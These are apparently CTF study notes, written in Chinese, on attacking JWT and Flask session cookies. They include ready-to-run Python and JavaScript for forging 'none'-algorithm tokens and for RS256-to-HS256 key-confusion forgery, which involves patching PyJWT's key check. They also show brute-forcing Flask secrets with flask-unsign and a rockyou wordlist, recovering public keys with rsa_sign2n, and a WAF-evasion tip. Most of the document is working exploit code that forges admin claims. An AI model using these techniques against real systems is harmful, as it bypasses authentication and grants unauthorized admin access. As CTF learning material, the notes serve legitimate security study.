jwt 特性

jwt 原理就是 base64 编码,但 Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_。
所以如果有废弃的 cookie 被直接匹配过滤,可以试试替换增加无用字符,绕过 waf。

自己加密 jwt

none

import jwt

header = {
"alg": "none",
"typ": "JWT"
}
content = {
"iss": "admin",
"iat": 1667822180,
"exp": 1667829380,
"nbf": 1667822180,
"sub": "admin",
"jti": "237410127e2551647730b97941cdcae5"
}

token = jwt.encode(
content,
"", # 密钥,此处置为空
algorithm="none", # 加密方式
headers=header
)

print(token)

HS256

注释掉 jwt/algorithms.py 中的 raise InvalidKeyError

import jwt
public = open("./public.pem", "r").read()
header = {"alg": "HS256", "typ": "JWT"}
payload = {"user": "admin", "iat": 1667825552}
token = jwt.encode(
payload=payload, key=public, algorithm="HS256", headers=header # 密钥 # 加密方式
)
print(token)

RS256

注释掉 jwt/algorithms.py 中的 raise InvalidKeyError

import jwt
private = open("./private.key", "r").read()
header = {"alg": "RS256", "typ": "JWT"}
payload = {"user": "admin", "iat": 1667825552}
token = jwt.encode(
payload=payload, key=private, algorithm="RS256", headers=header # 密钥 # 加密方式
)
print(token)

flask_unsign

unsign

unsign 带自动爆破功能

flask-unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

decode

单纯解密,支持以.开头的 jwt 密钥

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' --secret 'CHANGEME'

encode

用给定的字符串和密钥做 jwt 加密

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

利用字典爆破

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import time

path = "/var/CTF/wordlists/rockyou.txt"
cookie = ".eJyrVkrJTMzJT48vLkktULIy1lFKS01NiU_OL80rUbIyNYXyC1LzUjLz0pWs0hJzilOBgjmJ6fFJJXkwhYa1AKtkGZI.aNJdCg.7SHgeZTIgC9kMNz0BIjGVgVV7NI"
obj = flask_unsign.Cracker(value=cookie)

before = time.time()

with wordlist(path, parse_lines=False) as iterator:
obj.crack(iterator)

secret = ""
if obj.secret:
secret = obj.secret.decode()
print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")

RS256 转成 HS256 时的漏洞

利用工具 rsa_sign2n,这个用到了 docker
https://github.com/nu11secur1ty/rsa_sign2n
在 docker 里运行

python3 jwt_forgery.py cookie1 cookie2

将出现的公钥一个个在题目里尝试直到通过 jwt 验证。
比如 b305dd712d5d2378_65537_pkcs1.pem 通过了认证

javascript 重新签名 jwt:

var jwt = require("jsonwebtoken");
var fs = require("fs");

var privateKey = fs.readFileSync("./b305dd712d5d2378_65537_pkcs1.pem");
var token = jwt.sign({ user: "admin" }, privateKey, { algorithm: "HS256" });
console.log(token);

python 版本注意,因为 python 库的 jwt 最新版已经弃用了 pem 格式的公钥做为 HS256 的密钥
需要注释掉 jwt/algorithms.py 中的 raise InvalidKeyError 部分

def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)

# if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
# raise InvalidKeyError(
# "The specified key is an asymmetric key or x509 certificate and"
# " should not be used as an HMAC secret."
# )

return key_bytes
import jwt

publicKey = open("./public.pem", "rb").read()
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICIxIiwgImFkbWluIjogZmFsc2UsICJleHAiOiAxNzM0NjgyNDYyfQ.qnASkyTvWqYLn84Xa8i3e3uko6C1DfRpuPLHk4BIerM"
print(publicKey)
try:
real = jwt.decode(token, publicKey, algorithms=["HS256", "RS256"])
print(real)
except Exception as e:
exit(e)
ss = {"username": "1", "admin": True}
token = jwt.encode(
ss,
publicKey,
algorithm="HS256",
)
print(token)
try:
real = jwt.decode(token, publicKey, algorithms=["HS256", "RS256"])
print(real)
except Exception as e:
exit(e)

感兴趣的话可以去参考极客大挑战 2024 的 jwt_pickle